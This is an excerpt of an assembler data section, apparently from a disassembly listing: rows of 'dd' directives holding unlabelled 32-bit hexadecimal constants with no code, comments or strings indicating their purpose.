		dd 46E80FAh, 7000457Fh,	2271DDAFh, 3C199CEh, 0E3EA3D6h
		dd 0BEF8D57Bh, 9D00F62Eh, 0CF76BC36h, 2CFA09h, 622F88E4h
		dd 228426D2h, 0D80A9730h, 0D4A9B0h, 0F5B1A4E8h,	1CCBD57Ah
		dd 0AB1AAE01h, 45190EEBh, 5B3A60h, 0CA309640h, 3D72D2C7h
		dd 0E80066FCh, 5AE42EA3h, 5648B9h, 0FEC3DB4Bh, 683A4131h
		dd 0B64C0C00h, 0A23B934Eh, 0ECFCA011h, 5EB900B8h, 61A66F26h
		dd 57004EDDh, 19D88F9Fh, 0F53B53h, 0F7C70821h, 6E90E3EDh
		dd 0C4A1310Ah, 5292B4A0h, 55B100AAh, 5E638B8Dh,	0C1D09C0Fh
		dd 0C938E367h, 13A0D8F5h, 0F955002Dh, 0B5EDE059h, 65249214h
		dd 811F0B5Ch, 2A4A2EC0h, 0A81B0Ch, 2BAEAD4h, 0B6AFA51Dh
		dd 81D26B00h, 527E5856h, 0BDE842h, 9A36B9D4h, 8E876413h
		dd 139B03Ch, 5385F9D5h,	0D7E4E263h, 0E8BF0DEh, 90D19524h
		dd 0B6A981BDh, 60C86423h, 820084EFh, 0FFBF1141h, 2FE8D7h
		dd 222BD328h, 3B71C9EAh, 45B60B00h, 989BD069h, 74CA000Dh
		dd 0BABDF7E1h, 820E04F9h, 80438356h, 516D487Ah,	54BF030Bh
		dd 0E33B1EADh, 0B64167E8h, 69520500h, 0E0B0D5AFh, 85A301D4h
		dd 60A6C46Ah, 8681E06Dh, 3DA73800h, 0A94189A5h,	4DCE12D7h
		dd 4600EBEBh, 0F3CCE251h, 9D40024h, 7C7E6292h, 9300DE06h
		dd 4A30C21Fh, 3DA20425h, 0EC00BCABh, 0DEB9F5C0h, 8200517Fh
		dd 0FA854C2Dh, 34EF1F6h, 0CE8BDEBh, 0E788276Eh,	6D00113Eh
		dd 9DB1D62Fh, 0E069D015h, 841F0277h, 5C2D33D2h,	7AC606C0h
		dd 180C4707h, 3750DE95h, 7975DDh, 688ADA72h, 0E7D25A3Dh
		dd 9335C000h, 7FC7011Ch, 4BD400DBh, 8A688B05h, 73071211h
		dd 0ED24B82Dh, 999A5380h, 4BCE30FEh, 7CE95864h,	7F6D2D0Fh
		dd 41BB804Dh, 26C2DD49h, 0A20884h, 0E4DE0C0Ah, 7B6FE7A3h
		dd 0C36FA119h, 0ACD01D3Fh, 2E730396h, 888AA7A8h, 948003EAh
		dd 5BD77254h, 1CF0F900h, 8319308Eh, 58B35C23h, 0E78D470Fh
		dd 0BDA28960h, 440572A0h, 31FB0BB7h, 4790AC00h,	0F4247F79h
		dd 5818007Ah, 7CCF1A8Fh, 4F0E600Fh, 7C468A3h, 0BD017F8Ch
		dd 388034C0h, 3A59108Bh, 8D0015E5h, 0AEB0F462h,	0FDE17BFh
		dd 7FD2C09h, 6DA92000h,	8A000CC9h, 67E55AA5h, 28B5B8D3h
		dd 0BE01A04h, 70B6668Bh, 0E3AF0300h, 200FDCDDh,	0F47B01AAh
		dd 15EE00E4h, 341B23E4h, 5F570C79h, 4020A843h, 8567D00h
		dd 7AFE6ADAh, 0AB7C0717h, 7E5AEDE6h, 1CD4641h, 0EBBFC898h
		dd 0AAD0CE00h, 0D754F4C8h, 1CFF2C7Ch, 1B480060h, 1DF04D6Eh
		dd 0BBA6F200h, 79606AA3h, 40F100ECh, 5B21F6C3h,	99014468h
		dd 0A4BCCF5Eh, 2B601FDEh, 5C0B00E4h, 753ED27Dh,	5A00099Ch
		dd 9BBB02B2h, 7C7AFA9Fh, 2A6B007Bh, 89408363h, 0C6010688h
		dd 19A81AC2h, 21C4793Eh, 0FE23003Ah, 75501BC7h,	8D7FB5A3h
		dd 683F1E00h, 395E54E6h, 0AF9F0076h, 604B1DCEh,	2107FB93h
		dd 82A9203h, 0F903ED7h,	0D2809h, 84305F17h, 0B4743B26h
		dd 0E9FF9503h, 0C891B029h, 279376h, 0C04B1AB7h,	5CC248E1h
		dd 0B94E9500h, 4FCC61AEh, 4ADA006Dh, 0E29C0FFCh, 3C0E9158h
		dd 1B8BB7Ch, 5E45FF83h,	0E0F9C8h, 0A274113Dh, 26AD8E89h
		dd 3C3E373Bh, 4DB1803Ah, 0AAE4D925h, 92590157h,	0BD83DC15h
		dd 0FA770DAh, 3E89F801h, 0F44C9945h, 1CBFEEE0h,	0C19242A3h
		dd 0C5E30AB8h, 50BC4043h, 0C605C190h, 6533A5Eh,	74651B0h
		dd 7285D0DDh, 58483C82h, 0FA172600h, 3CF22234h,	0C6B90742h
		dd 31A41348h, 0C4825F2Bh, 0FA00460Eh, 145671Bh,	3C5B8E54h
		dd 0ED3D7C87h, 1A831300h, 0C32DC569h, 0DC1E300h, 334B6A1Dh
		dd 50C91D01h, 3AF94034h, 0E3EC6EB8h, 0BDFFEE00h, 99F178CDh
		dd 5AC31E43h, 81960074h, 0AA40F476h, 0B20039E4h, 8E18AC88h
		dd 1F9EBE1h, 0BDDEBAA1h, 0C91D6884h, 4B7920B6h,	5217C707h
		dd 45E0D9FEh, 5CE57E86h, 0EC00EFDFh, 0C8D11DC6h, 727D5DFDh
		dd 53288B00h, 880DE93Ah, 0C28D2E7Ch, 3F4C0B9Bh,	40836A87h
		dd 0AFECEA7Ah, 89639700h, 29F1754Dh, 0CD4B00E7h, 10DDB2B8h
		dd 910BAB0Ah, 1117E28h,	338E6F80h, 77C00DC0h, 0C0854A40h
		dd 9938F96Fh, 15A0300h,	6E29F61Eh, 2D801F1Bh, 235B0036h
		dd 92FE7C1Ah, 81125092h, 3B1350E5h, 0F41ED300h,	0B95C015h
		dd 72B4C27Ch, 4A037456h, 0D00DAD33h, 825C69h, 0D4DF96BBh
		dd 49C84E5Dh, 80F7A13Dh, 0C7FDD8C4h, 1D61E70Dh,	3B19F77h
		dd 0A8D2AC8Fh, 5F4D50E0h, 1EF1471Fh, 0CD25E6C0h, 0A539F8h
		dd 6A2AFACCh, 8DF79A82h, 1BE8C700h, 0CBA37463h,	53B6ACh
		dd 958A0BD4h, 7539B15Bh, 376F00E1h, 9B0D7080h, 40136057h
		dd 42C6AA9Fh, 6A1AF000h, 433A15F3h, 692A0394h, 0A3328ECh
		dd 7EB1BE2Ch, 0C1F6A200h, 7E688FBBh, 1C57732h, 0D04A0C05h
		dd 80ACD109h, 0FD39BAF4h, 0ABFAEDh, 903EBE83h, 0D5B07465h
		dd 700091E8h, 1D66B717h, 2A4006h, 7E80756Bh, 0ED95AE4Ah
		dd 12C7743Fh, 6600F715h, 0D4569DFDh, 1F380016h,	30D8853Ah
		dd 0DF0FA3AFh, 4ECEB61h, 5BC05196h, 8D3260h, 79A76D17h
		dd 522F6A25h, 67F63100h, 0B4E20BACh, 76340F91h,	0A2A0DA3Eh
		dd 0CEA856C6h, 9555A31Fh, 0A5DC8A80h, 0B6BD4Eh,	20CBA41Ch
		dd 0FBBABE84h, 6D101F60h, 6A6CD6h, 0C48D4DD4h, 0AF954F2Eh
		dd 644E5E00h, 0ED80C13Ch
		dd 0C698C0h, 5582226Ah,	456DE14Bh, 3AD1B100h, 277490AAh
		dd 60E20044h, 490D684Dh, 0CA00949Bh, 0AAC084CDh, 791D9DD4h
		dd 3815006Eh, 75916623h, 60F675Ah, 60F15251h, 24D0723Ah
		dd 0EC9909C2h, 0B980CFD3h, 287BABA8h, 425B6600h, 0CD2F7025h
		dd 203D1D23h, 0E396C021h, 0E78FD7B5h, 0C1491600h, 0BC7BBF08h
		dd 365700BDh, 854E872Eh, 910048ACh, 0E1DFA1FEh,	0BECAC8h
		dd 6D24B215h, 965666FDh, 7F3AF600h, 4B126990h, 5C7078A1h
		dd 5F00F2FAh, 0B5BA5577h, 58E4DA40h, 0D2E0B00h,	0D179C9BEh
		dd 0A79E07D8h, 80145256h, 70168884h, 0DBB3EE00h, 0AE5C6126h
		dd 564B0B65h, 1800C4D0h, 1A2C6A12h, 0DDAC0200h,	0D7D77FCh
		dd 0F8112631h, 0D4B1C24h, 0E0881E30h, 720EE2BEh, 80FE244Ch
		dd 1F3D6326h, 212060F7h, 4C0125A8h, 0DCFC0424h,	0E6026A00h
		dd 3D3B78h, 0FF6291A1h,	0B3D4BB10h, 0F329CE02h,	55A2612Ah
		dd 4FC728C0h, 8149FE00h, 0AE6C2055h, 3D7A18CCh,	0A7EA187Ch
		dd 803BE93Ch, 51824DF9h, 14BC76Dh, 0C66F3677h, 0E47FC950h
		dd 0D6070D3Ah, 85231324h, 4D38DB20h, 0D09E64E8h, 0D472C053h
		dd 0DD0FC24Ah, 0A09210BDh, 39DB1C69h, 0FAB01966h, 20A1F8CAh
		dd 2500DCD3h, 7B75C1CCh, 0A74BDDAh, 0B2D537Dh, 0F37A4390h
		dd 291C40A4h, 1CC795DBh, 80BA1AEEh, 5EF5E451h, 2EE60B6Ah
		dd 41911300h, 1B4C462Fh, 354300FCh, 864A2210h, 0B500A6CCh
		dd 0CFBD24E3h, 0F5D830h, 0BB2627C5h, 48D76DFDh,	39008B79h
		dd 9896CAAEh, 769A69h, 9DDA6AFCh, 364B7DA9h, 0F53B3E00h
		dd 0CACE4611h, 0BA8103B5h, 456184C2h, 0CD579DC8h, 37DE8200h
		dd 5A667114h, 1F6800F5h, 3CFC383Eh, 550086D3h, 0E619223Dh
		dd 3D94F8B7h, 5F00D9CCh, 51AD44E5h, 811FCA2Bh, 0E2401672h
		dd 5CE1A8B9h, 9E830031h, 22C9D6Ah, 0F3009881h, 3BA555D5h
		dd 0A82FEFh, 45A7F6DCh,	8038B0E5h, 0C5BB861Eh, 0E04E7B0Fh
		dd 32D19BACh, 0D5E50043h, 0AD5D935Ch, 4D00CC2Dh, 68977848h
		dd 3208F35h, 0E0AB95F4h, 5FEF6138h, 302ECB00h, 9600552Ah
		dd 1CF93D7h, 3A02E27Fh,	0BD02E44Dh, 0AEC6D1E6h,	18E1D860h
		dd 6846F730h, 7EFCC6Fh,	43C1231h, 643D103Eh, 50001EBBh
		dd 0FDB80229h, 0C9AED81h, 9EB3AAECh, 2E18D5C0h,	5FE0E19Dh
		dd 0A82518F5h, 0CCF211B7h, 59B4E71Fh, 0A37FFDCEh, 0C8BF2D31h
		dd 1C9BA43h, 8405FB39h,	61D0CC71h, 19D4EC6Fh, 29F42A05h
		dd 0EFC09430h, 0F1AA5h,	0D2BF91DDh, 3E806549h, 0CE4FC500h
		dd 0D401C99Ch, 0EF0B0A72h, 1E6B3D7h, 990EEB5Dh,	1A1EBF8h
		dd 0D02080E9h, 6805AD06h, 7228FC1Eh, 0A99000D5h, 0C2C1A58Bh
		dd 58003872h, 26C05D9Eh, 0CFD2C3B4h, 30836838h,	0FEE0609Ch
		dd 0E2001C7Ch, 88EDFFE3h, 15510B6Ch, 44C2E7CEh,	3BAC0A01h
		dd 0CE9D568h, 9245891Ch, 8300F0A8h, 176537FEh, 43BE05ACh
		dd 0F10CF3h, 6D6ECF3Ch,	30602875h, 0AA0DF411h, 1EDAE6AEh
		dd 0DD4FCB2Eh, 21391831h, 0DB00E482h, 3665F467h, 0F061ABA4h
		dd 0C5A944D2h, 74A2B800h, 0F7AE7A98h, 0E3EF03C3h, 0FB4C3B06h
		dd 0FE9A0E03h, 0C8F42386h, 60DC0870h, 0EE7A18FDh, 0F5045C9Bh
		dd 0F81D3552h, 586D6C00h, 7C60F296h, 0C2AE13B8h, 0E35000F6h
		dd 11EC732Fh, 7E006899h, 0A9708EA4h, 0D7613Eh, 21150838h
		dd 0E25E4F58h, 0EF9B9C02h, 0F7E344BEh, 118F6B06h, 0F20458EBh
		dd 10C0E598h, 0B6F62FE2h, 7C2000EAh, 37DB2668h,	2100F9DAh
		dd 7F58CE0Eh, 3B18CB2h,	0A1DDBCBEh, 0A6F0B779h,	9300AADAh
		dd 484E8453h, 0A87E81h,	2F7D4194h, 1AD76E16h, 0FFF13C00h
		dd 9545E8Eh, 0A7E02C01h, 88803E03h, 862F29Bh, 9301F496h
		dd 2619B14Fh, 0A8D35EEDh, 7BD353h, 0AF7D7FF2h, 95C64C5Fh
		dd 0E941D01Ch, 0A1018AC0h, 0D21947h, 0CACD3B8Eh, 9BB30A13h
		dd 0A2E16700h, 81A75DBEh, 38C600F0h, 2587C851h,	98016968h
		dd 220563CBh, 2DD0351Fh, 5EE40011h, 7C6BCE12h, 0CB3E04A9h
		dd 7D23C2Ch, 1E0BC226h,	12A0AAE1h, 7358C8h, 0E3CC7457h
		dd 98641D3Ch, 8E2E7000h, 0B6BCC95Ch, 0D58B00FCh, 495AD31Ch
		dd 0D600DC50h, 9CA55DB8h, 24F877h, 0BF1E87F2h, 4743881Ch
		dd 51E75400h, 6B2B1F11h, 0A04C0132h, 35D518FBh,	2B2D219Fh
		dd 7FA5DB0h, 1B598936h,	0B0F26788h, 730D83FFh, 8D129F15h
		dd 0F53200F0h, 655B8BA4h, 1EBD00E6h, 3CE0260Fh,	0BA0E75EEh
		dd 8078B84Dh, 0DE6D5FB1h, 2A030008h, 231D1FD9h,	0E001F910h
		dd 0E262D790h, 0DDD83DFDh, 0C9CF044Ah, 9155A7B4h, 0FB5D1824h
		dd 57C03ABBh, 284B51DDh, 0D8347FC3h, 3F7BD164h,	0BE00ED37h
		dd 0A64AE530h, 9700C9D6h, 0AC1F89B5h, 1453EEh, 304F560Fh
		dd 0AB57074Eh, 0A823441Ch, 22AE1800h, 0F416606Dh, 40C8000Ch
		dd 0EBCF840Bh, 9800B7D5h, 0C46962E0h, 0F6C7301Fh, 0E93400CDh
		dd 0D4891380h, 18008F2Ch, 7ECBB6BAh, 77723315h,	0E4F4008Ch
		dd 0DF1D0EADh, 13004695h, 2BCBD9F3h, 5FE6AFh, 0F0E04308h
		dd 68D463F9h, 0E323D100h, 30BBED79h, 0C8E90015h, 0EFC448A6h
		dd 1E0055C9h, 4CD22610h, 6D46AEh, 0B79C6EFEh, 38FC5C1Bh
		dd 77985050h, 0FB02EE1Ch, 0B07DE203h, 0C3E68079h, 33FC0782h
		dd 30421719h, 9457B622h, 10C438h, 0E737C6DEh, 7E4AEBDAh
		dd 0DC06005Dh, 3152E867h, 4B005589h, 8EAB253Bh,	0EADBA2h
		dd 0FDCE2FD4h, 0A3544857h, 45F9E500h, 7E2D028Ch, 58551C40h
		dd 0EE89C006h, 32594D01h, 0FC5AF200h, 0F7467561h, 55A000ADh
		dd 6D239151h, 4D0E9B04h, 0C03B5984h, 0F9EF4B79h, 9A5300B2h
		dd 9533A724h, 0B402D1EAh, 3E217B6Ah, 0A82443DFh, 1C513D22h
		dd 649383BFh, 18470058h, 78D11524h, 0B19E0808h,	0F9FF808Ch
		dd 6AECA5D2h, 0C14B39h,	9A84ADB6h, 7B16F35Ah, 171B00E1h
		dd 7B530918h, 8200B2FFh, 2178F803h, 7F473C6h, 0E6E79DA5h
		dd 9CB7C0F5h, 2A00F7A3h, 4AF9514Dh, 1AFB035h, 2DB179C1h
		dd 83E07243h, 0C4E28EA8h, 9CFE8D4h, 6623078Fh, 0B035B8A1h
		dd 9C67393Fh, 1C464E00h, 1365BE6Bh, 5A80006Dh, 0E5C8D044h
		dd 94000E24h, 5C70EB37h, 0C1B2CFh, 0A88A4CF9h, 0BD624391h
		dd 0D07B3D0Fh, 0E822200Bh, 9D6845h, 65D4D263h, 17744ED5h
		dd 12D79A00h, 1BEF5F3Fh, 0BBDF3DA7h, 0D67B2800h, 76C032C2h
		dd 0B2F2D200h, 51D8A3EAh, 92EE0084h, 663AA805h,	700F009h
		dd 0FA703069h, 5CDBE5E9h, 5C24CBCAh, 0B4AA14D4h, 0E4410D02h
		dd 9D602CA6h, 0EC0032B4h, 0BAC9487Ah, 0E6DC1EFBh, 71769Bh
		dd 37331FA1h, 0A7FCE3CBh, 700DD70h, 78561798h, 8D3EC5h
		dd 0BB2E981h, 86A09946h, 0AE0C5001h, 4776332Dh,	1845D8h
		dd 4321D9E1h, 0F1FFCE77h, 0EE4723Ch, 3222373h, 887AA6BAh
		dd 0E4AF2445h, 7C3A001Dh, 0B5663BF6h, 47711C5Dh, 626AD604h
		dd 18974265h, 0F6608670h, 7E30005h, 0DD189D2h, 0FB149DF0h
		dd 0C0F5EDh, 0C60F5AF3h, 0ED41105h, 22081B97h, 0A45ED781h
		dd 58108090h, 1D5533DEh, 81FF09D0h, 54008DE1h, 7B2A3D84h
		dd 32FB2D00h, 27B3FAD6h, 13F800B7h, 734E7E52h, 5114D16Dh
		dd 0ACEEEAh, 0CDA4C240h, 988119Fh, 5D0F3D16h, 24AD9D00h
		dd 0BCA0ABE0h, 9700C393h, 1280E2A0h, 9D9465C0h,	0C87B22D8h
		dd 13A9D39h, 6EEE6B3Ch,	28FC87BDh, 442036Fh, 0A49FA98Bh
		dd 7253D6E8h, 0D0B3BCA1h, 8E76DDAFh, 5523000h, 0C37E440Dh
		dd 3F1E632h, 0FE1846D9h
		dd 258840E5h, 0AF007439h, 0EC7068E2h, 1A908B2h,	914E4351h
		dd 0CCE0C259h, 9C03C82Ah, 0AA3EF392h, 0B722F8CFh, 662600D4h
		dd 2E06318Fh, 0CCF6EA24h, 0D7175900h, 0CD8BF41Dh, 5CD200B2h
		dd 3E403525h, 793F6AE1h, 0FEDF000Ch, 870DD71Ah,	28271F22h
		dd 956B40E7h, 0A2BA0790h, 0D65C3F00h, 0D02E2FEh, 2E6F0020h
		dd 3A628E3Bh, 6600A331h, 1143E4A7h, 83D360h, 0D188BAC7h
		dd 122DCD8Ch, 8E5AA801h, 6B9641A1h, 7746B420h, 30D40083h
		dd 33448D0Eh, 0B200DA69h, 4D97900Ah, 236CF9h, 9D1DE1ACh
		dd 0F4B72FF0h, 0FEA5C00h, 52A5BDAh, 59C40064h, 0E674BE15h
		dd 0C0000B3Ah, 0A701F952h, 2BAEE0h, 7ED48E62h, 7456AAA0h
		dd 9FF170h, 6B6A869Bh, 922600DCh, 2EFE7A1Ah, 0E7031DC0h
		dd 0BDBAABA9h, 5467C0FDh, 5D57003Ch, 0D0653325h, 70909326h
		dd 0CA20B00h, 0E8A6702Dh, 8E8B016Bh, 0A710D040h, 0B029FC97h
		dd 0C0E8484Ch, 2E1FBC28h, 0B04E74D3h, 0E287000Ah, 6F25A7E9h
		dd 0C300DD8Bh, 0F145033Ah, 0ECE80DCAh, 10F961FAh, 0F0E3085Ah
		dd 0C2265C19h, 0E985C85Eh, 1C87D281h, 0CE835180h, 84403A9Ah
		dd 13D69C02h, 66C03461h, 470050F1h, 4C9BA094h, 0F0350Bh
		dd 0E2CBBBBEh, 0C2C8EC3Eh, 400150D3h, 0F443CA4Bh, 336B2082h
		dd 0E848FDDBh, 2903D783h, 0D2E69823h, 82EBE805h, 0C581C018h
		dd 66DA7BA8h, 7813630Ch, 0C05D1928h, 5C2F44B0h,	0F90088A0h
		dd 0ABFBEBE9h, 3F7526A6h, 0AE80E8F8h, 2D2ACF69h, 6800C2CEh
		dd 2F9E8FA0h, 0F0E17B5Eh, 0DBFD00B1h, 0E4EEE3B2h, 0F91D6469h
		dd 86839414h, 0B77FD16Eh, 0FEA40200h, 713B0004h, 6754A9B0h
		dd 6E009023h, 763A1F55h, 27A708h, 0A6BCA5C5h, 5E78F54Ch
		dd 3228301Ch, 71537203h, 0D0B7D1C4h, 2577C180h,	66312709h
		dd 0E1C7F800h, 92D14654h, 0AB5EA41h, 0A6BB6EC2h, 2C1085A0h
		dd 5030E066h, 5F851800h, 8B208411h, 0EED7E030h,	67CC1704h
		dd 28380336h, 0E9A32D7Eh, 0EB4400Ch, 2148BDh, 0A0ECEDDCh
		dd 1C9497E6h, 0C2F84E01h, 5EE92CB7h, 19D5060h, 576178C0h
		dd 70BB51FDh, 72035B98h, 9FC4B902h, 0A7E5A0D5h,	2B381EAAh
		dd 35FA8E82h, 0CEB10400h, 0D1071CE2h, 0C0EC6A21h, 0A87DBD80h
		dd 0E3F42428h, 0F1003C2Ch, 0C516C492h, 0C67C43D2h, 0D9AC6F01h
		dd 0DB87EB85h, 60F99050h, 50489276h, 1F6011h, 1B5BF7DDh
		dd 0C4172527h, 37367607h, 0BD7061DEh, 2ECAAAEBh, 817CFDB4h
		dd 0C7758D65h, 0C0B0CBFFh, 88B0EE63h, 60E9D600h, 0F2BA94BBh
		dd 509B00E7h, 0A3B76AEh, 0B0C0EA33h, 0A6178C85h, 0E8610073h
		dd 6321EBD0h, 450A327Eh, 434FF16h, 89C3087Ch, 1C084222h
		dd 4C70D746h, 3E1700BCh, 597E93FCh, 5F0F6C6Ah, 8040D310h
		dd 0A2E5AC7Ch, 471130A1h, 15DAB930h, 0CD07BA77h, 4E682E82h
		dd 1D8B08C0h, 0AA3B0094h, 4552D876h, 202BD2Dh, 0A1965192h
		dd 0CB0448ABh, 9D410023h, 9AE22F54h, 9C007B43h,	903994B9h
		dd 150C3Bh, 876018C2h, 0F8AEC101h, 58B5D3Fh, 2C46D395h
		dd 0C089A481h, 0C7FC5081h, 0F43A7A71h, 64F46169h, 8058DA39h
		dd 0D6D89E30h, 6BC1B6Eh, 8F484639h, 0B453F08Dh,	9878120h
		dd 0C10859BCh, 0BF8D38h, 9C3BB886h, 0DEDFDCCh, 4495FC07h
		dd 0C2E6E0D0h, 0C133A8A1h, 9EF3E03Ch, 74AD9A1Ch, 2BB9FBC0h
		dd 1B9D55F5h, 88664158h, 763A3827h, 0BD6400EFh,	333F721h
		dd 3065E3Bh, 3842DAD6h,	28597CE3h, 0D88A09h, 0A5A7B23Eh
		dd 4D43C51Fh, 99F83100h, 78AFF08h, 61D3072Bh, 10A348AEh
		dd 2F94F405h, 0A113B800h, 0F6F9CBB5h, 0A546038Dh, 1ACC79C2h
		dd 39EA6101h, 0AB2F0DD9h, 9C92891h, 2745E4C3h, 0F11CDC14h
		dd 0CC29009Dh, 0E098158Ch, 600B858h, 5F4578A8h,	18D55236h
		dd 8874E3F3h, 8CFA98C3h, 24F6BE00h, 70C13815h, 0D112634Dh
		dd 2900FC7Ah, 2CA99C89h, 3BBA84D4h, 498AAB5h, 26C4D12Eh
		dd 0E63A7E00h, 23051691h, 0BB770012h, 2B7A5D83h, 90090C1Dh
		dd 12D51103h, 37C40654h, 0FCCC0FE0h, 5C80065Dh,	3295C934h
		dd 3B5613Ch, 60BFF69Eh,	151E90CFh, 0CBBD067Ah, 0F686E96Eh
		dd 809AE82Ah, 0AD54427Eh, 79FA7298h, 5A2D5300h,	46AE94E9h
		dd 31433054h, 0B9A1E621h, 0BD9F7012h, 97BB440h,	77E071C6h
		dd 2812FE51h, 20541DD5h, 6200C1AFh, 490835E6h, 17B91F2h
		dd 8F57A2DBh, 2588AE28h, 0D751A68Ch, 38139930h,	0DE5E00F2h
		dd 104C836Fh, 0E51CAAA1h, 0CC40B6BEh, 98AD3E82h, 0D7E6010Dh
		dd 0AF398812h, 9A66DC6Ah, 74C0F627h, 0B5270131h, 0E4216FE5h
		dd 83F79B60h, 0F9DB7570h, 7A80A43h, 42DC0E68h, 8A2FADD7h
		dd 9D3D7476h, 3A10CBB0h, 310A3518h, 49032DC3h, 0E512B6BAh
		dd 0A077DAF3h, 9D6CA1FCh, 0D091810h, 2C3C5049h,	7D25BC01h
		dd 90DFF482h, 0E4BD1980h, 3A8DD6F6h, 48600C00h,	96E9DE21h
		dd 992A00ECh, 5E5FFD9Bh, 823151C6h, 61B0C136h, 189F5442h
		dd 0F01D38C7h, 47C35283h, 3E69B5C9h, 0C280E928h, 2C3A3371h
		dd 9A02DB68h, 8742BDB8h, 0F99C6881h, 0D993F1E5h, 546C20DCh
		dd 593EC079h, 5D6E805Eh, 2165BCFAh, 61203F4Ch, 41A22598h
		dd 3D44E4E6h, 994A1FBCh, 37F54711h, 10BFA7D2h, 906B58A9h
		dd 4C1C7C0Bh, 33468077h, 0FFD4EA06h, 0AED6D04Ch, 2C0544B8h
		dd 0C7063100h, 3EC6FDD5h, 0C081060Bh, 7953EAB7h, 0BCE70C0Fh
		dd 158B8044h, 98491467h, 17A51C8Ah, 0E631C0CFh,	813FE965h
		dd 69FF0B09h, 0BB58201Eh, 79C27BD6h, 46AB00F0h,	990E5D01h
		dd 8212FF7Ah, 0F8307706h, 0A7BC1EEh, 4BBD1398h,	8A6483C4h
		dd 0F29B29FEh, 2A6626B0h, 83AD5B18h, 757D6D21h,	7EFF00C5h
		dd 0CBD2E4D5h, 520FE6CDh, 20894CFCh, 0AAD8C213h, 88EA9Bh
		dd 0F3E969A4h, 545DF98Ch, 0C4E44024h, 5594B140h, 0ADBF01CAh
		dd 7937CCAAh, 23D8885Bh, 51570E82h, 41F93118h, 0E94C24FDh
		dd 0D8DE4E00h, 5DF73D68h, 0BE070F12h, 52825A17h, 0A4A130EAh
		dd 0C81AE058h, 9100A350h, 0C605D0DFh, 526CABCAh, 8041D46Eh
		dd 4CC3D40Ch, 0C6C82CE5h, 60C1AE42h, 8037F4CCh,	300AB64h
		dd 320F3054h, 0A74A36h,	8CE2C975h, 0E964EEAFh, 0EAC94760h
		dd 80BD5070h, 0AD003C46h, 0F824EB01h, 163177A5h, 1F40255h
		dd 9D5007A4h, 78E8A459h, 12BCB615h, 504F67FDh, 3166A086h
		dd 0B283D2h, 9E5D7F5Bh,	0BC8FEC1Dh, 0B5E0205h, 0F432757Ah
		dd 2EEC6123h, 0A3B94040h, 0E9E81878h, 633FE951h, 9C710AEEh
		dd 0B1D17E00h, 9BE1C2CBh, 8A7718D9h, 0B5D29160h, 97220085h
		dd 0D8EFCF2Eh, 0FC8338h, 534A784Bh, 0A959D98h, 0AE7152C8h
		dd 9CE8D0B8h, 60076A24h, 0A0DF0180h, 1ED4A1EDh,	0C752576Dh
		dd 50547848h, 0FD0C2BD9h, 0BBF4F201h, 2CB9B10Dh, 0C675130h
		dd 8B6505D5h, 5600FBD0h, 9F33B417h, 2812F28Fh, 42C82084h
		dd 0DD05154Bh, 0AD1105E4h, 43874407h, 0D95A8A70h, 0ED0F01F6h
		dd 0D30C5485h, 2832EAh,	1F457314h, 0E82F9F3Ch, 0DC2A008Dh
		dd 0CE231DAAh, 3477ECDAh, 0F8C56C2Ch, 2601C021h, 42F34E8Ch
		dd 0D8166022h, 30DA1374h, 9CBE37C4h, 9F79248h, 0A9177E13h
		dd 24388E5Ch, 748212AEh, 1D44466h, 10D02304h, 341105D8h
		dd 0A3002E2Ch, 0F360C6BEh, 1E4B1CBh, 0B6B8BC54h, 23670F75h
		dd 70EB00C4h, 4D156D6Ah, 24BC90CDh, 8074EECCh, 116B1928h
		dd 210BFD20h, 1AC6F93h,	8BFF3290h, 1D006436h, 4E495FDFh
		dd 9D126F71h, 200BF537h
		dd 0ABB8AFBCh, 526C100Ah, 3A6B0335h, 0C2142EE0h, 16646298h
		dd 7722800Bh, 0D7BC9008h, 60E4F2F9h, 0CAD89896h, 880A07F3h
		dd 0F0660308h, 0D2690287h, 0E0471AB0h, 136400F6h, 8E5CEB9h
		dd 3C987EE3h, 18A02CFEh, 0B755DB7Ah, 0BE4DF1A8h, 14EA2EA1h
		dd 31C0E802h, 0FA404823h, 60201DA1h, 0BA80BBC6h, 0E6ADEEA8h
		dd 9D2C4AC4h, 1F1E60B9h, 751A94C1h, 398B2666h, 0A8103F3Ch
		dd 8D0270E2h, 0B24D3409h, 0EA28C6D2h, 0C4601355h, 0E15200C0h
		dd 0D731EEDEh, 0BF6FFF01h, 0FD4C2C4Eh, 46068342h, 0F0CC5C20h
		dd 82A6FEC3h, 0B0640E98h, 0F5798600h, 6F4FF705h, 0A1B2026Dh
		dd 9AA72423h, 0C0385CE4h, 3333D0Eh, 0A4B0554Eh,	60F40BF3h
		dd 0C42545FBh, 378CB09h, 0BF344FB5h, 662EF8A3h,	4C640293h
		dd 5A87514Dh, 0D9A2C8E0h, 4E04B201h, 705537Ah, 0ACBE8050h
		dd 0F2A0027h, 0BB963437h, 9C04B281h, 0E0E5D4BFh, 0B4FB3490h
		dd 0E36D0EB5h, 91208425h, 4858166Ah, 4F8E4C05h,	0B4453B51h
		dd 0A04439DFh, 97C0E335h, 34B781h, 33AA8FC9h, 4EB484A1h
		dd 1CC8172Eh, 0D2121A60h, 0D0008264h, 0D7577569h, 0EAA1F107h
		dd 4525F89Bh, 0B06240C5h, 2684A323h, 3CEFC0A3h,	6D0D008Eh
		dd 239E421h, 0B60A0BCh,	0B681A9E9h, 0AAF4072Ah,	0D990A16Bh
		dd 0DC834012h, 0C82E9A4Ch, 150A8A6Ah, 0BB40506Fh, 0FDDD99Dh
		dd 0BCF98792h, 459AC3C0h, 730FFC20h, 0B8EB1D11h, 0CFA0F9h
		dd 0DBBD5A3Dh, 0E6A4943h, 0B5B0F962h, 0D69F0042h, 0C50184A2h
		dd 78BDDAE7h, 0B4360EE5h, 0E74A513h, 0A834E494h, 0D782F180h
		dd 52E4CE8Dh, 0D6980100h, 0A64280CAh, 544D3F70h, 91A13A85h
		dd 0C8118137h, 9278BB14h, 5034288Fh, 42707087h,	0DF03C8h
		dd 0EDB4A712h, 99F5BC64h, 0C4B98A7Ah, 94098039h, 80781F76h
		dd 833E17E9h, 81835C0h,	6D8011A4h, 73A6FF7Eh, 0F89700F7h
		dd 0EED39DCFh, 0C052F03h, 260ED56Ah, 0A2B50082h, 207BA174h
		dd 972CE89Ch, 0B1ED1700h, 70B9AA76h, 210D2402h,	621609E4h
		dd 60136405h, 0E2A3DECCh, 10277700h, 64CC28A7h,	0A96F0B56h
		dd 0B490AD6Eh, 9600DA78h, 0D2678D18h, 1457B722h, 0D04D3F0Ah
		dd 2A4A12h, 51A39628h, 900008DFh, 9B74A21Fh, 48A526F3h
		dd 540B1042h, 8892E938h, 0AEEB6C60h, 9DB90160h,	5961C7C1h
		dd 0CC009431h, 0A195DFE1h, 9902E5D9h, 6B140277h, 25B46653h
